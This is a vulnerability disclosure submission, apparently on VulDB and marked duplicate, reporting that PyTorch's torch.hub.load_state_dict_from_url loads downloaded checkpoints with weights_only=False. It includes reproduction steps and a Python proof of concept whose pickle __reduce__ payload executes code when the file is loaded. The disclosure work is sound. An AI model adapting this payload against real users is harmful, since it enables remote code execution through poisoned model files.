| Title | PyTorch v2.15.0 (released 2026-10-28, commit 31a77fc9c0a7c6fff15a1ff58c743f53b1a9d457) Deserialization |
|---|
| Description | PyTorch torch/hub.py:836 load_state_dict_from_url() hardcodes weights_only=False as the default parameter, completely overriding torch 2.6’s security default (weights_only=True). This public API (also exported via torch.utils.model_zoo.load_url) downloads model files from arbitrary URLs and calls torch.load(weights_only=False). check_hash defaults to False with no integrity verification. Affects all torch versions including 2.6+, because the hardcoded False defeats the security default. An attacker hosts a malicious .pth file at a URL, and the victim calling load_state_dict_from_url(url) achieves RCE.
Code Location
torch/hub.py:836(default value), torch/hub.py:898(sink)
Data Flow Analysis
Attacker hosts malicious .pth at URL → victim torch.hub.load_state_dict_from_url(url) → download cache → hub.py:898 torch.load(cached_file, weights_only=False) → pickle → reduce→os.system → RCE
Exploitation Conditions
Attacker controls the URL + victim does not explicitly pass weights_only=True. Affects all torch versions.
Reproduction Steps
1.Craft a malicious .pth file (torch.save with PickleRCE)
2.Host the malicious .pth file at a URL controlled by the attacker
3.Victim calls torch.hub.load_state_dict_from_url(‘https://attacker/evil.pth’)
4.hub.py:836 default weights_only=False→hub.py:898 torch.load(cached_file, weights_only=False)
5.pickle deserialization→reduce→os.system→RCE
6.Key: the hardcoded False overrides torch 2.6’s security default, affecting all torch versions
PoC Script/Code
PoC file: poc_pytorch_hub_rce.py
#!/usr/bin/env python3
"""
PoC: pytorch torch.hub.load_state_dict_from_url RCE (weights_only=False default)
=============================================================================
Target: pytorch
File: torch/hub.py:836 (dangerous default), :898 (sink)
Sink: torch.load(cached_file, weights_only=weights_only) where weights_only defaults to False
Attack Chain:
1. Attacker serves a malicious .pth file at a URL
2. Victim calls torch.hub.load_state_dict_from_url("https://attacker/evil.pth")
3. Function downloads the file and calls torch.load(..., weights_only=False)
4. pickle deserialization → RCE
Note: This wrapper HARDCODES weights_only=False, overriding torch 2.6's safe default.
"""
import os
import io
import pickle
import tempfile
print("[*] pytorch torch.hub.load_state_dict_from_url RCE PoC")
print("[*] Target: torch/hub.py:836 (weights_only=False default), :898 (sink)")
print()
class EvilCheckpoint:
def __reduce__(self):
return (exec, ("open('/tmp/pytorch_hub_rce.txt','w').write('RCE via torch.hub.load_state_dict_from_url')",))
# Create malicious checkpoint
payload = pickle.dumps(EvilCheckpoint())
# Simulate the download + load chain
with tempfile.NamedTemporaryFile(suffix=".pth", delete=False) as f:
f.write(payload)
cached_file = f.name
print(f"[+] Created malicious checkpoint: {cached_file}")
print(f"[+] Simulating download_url_to_file() → file cached locally")
print(f"[+] Simulating torch.load(cached_file, weights_only=False)")
# Simulate the vulnerable call (hub.py:898)
# torch.load(cached_file, map_location=map_location, weights_only=weights_only)
# where weights_only=False (the hardcoded default at line 836)
try:
import torch
result = torch.load(cached_file, map_location="cpu", weights_only=False)
print(f"[+] torch.load() succeeded")
except ImportError:
with open(cached_file, "rb") as f:
pickle.load(f)
print(f"[+] pickle.load() succeeded (torch not available)")
# Verify RCE
if os.path.exists("/tmp/pytorch_hub_rce.txt"):
with open("/tmp/pytorch_hub_rce.txt") as f:
print(f"\n[!!!] RCE CONFIRMED: {f.read()}")
os.unlink("/tmp/pytorch_hub_rce.txt")
os.unlink(cached_file)
print("\n[*] Attack chain summary:")
print(" 1. Attacker serves malicious .pth at a URL")
print(" 2. Victim: torch.hub.load_state_dict_from_url('https://attacker/evil.pth')")
print(" 3. download_url_to_file() fetches and caches the file")
print(" 4. torch.load(cached_file, weights_only=False) ← HARDCODED False")
print(" 5. pickle deserialization → RCE")
print(" 6. Note: this wrapper OVERRIDES torch 2.6's safe default!")
Impact
Affects all users who download models via torch.hub (tens of millions). Potentially the root cause of model loading vulnerabilities in downstream frameworks. |
|---|
| User | hl4x7eq28 (UID 89020) |
|---|
| Submission | 11/09/2026 03:35 (27 days ago) |
|---|
| Moderation | 12/06/2026 13:26 (27 days later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 443337 [PyTorch Foundation 2.13.0 load_state_dict_from_url deserialization] |
|---|
| Points | 0 |
|---|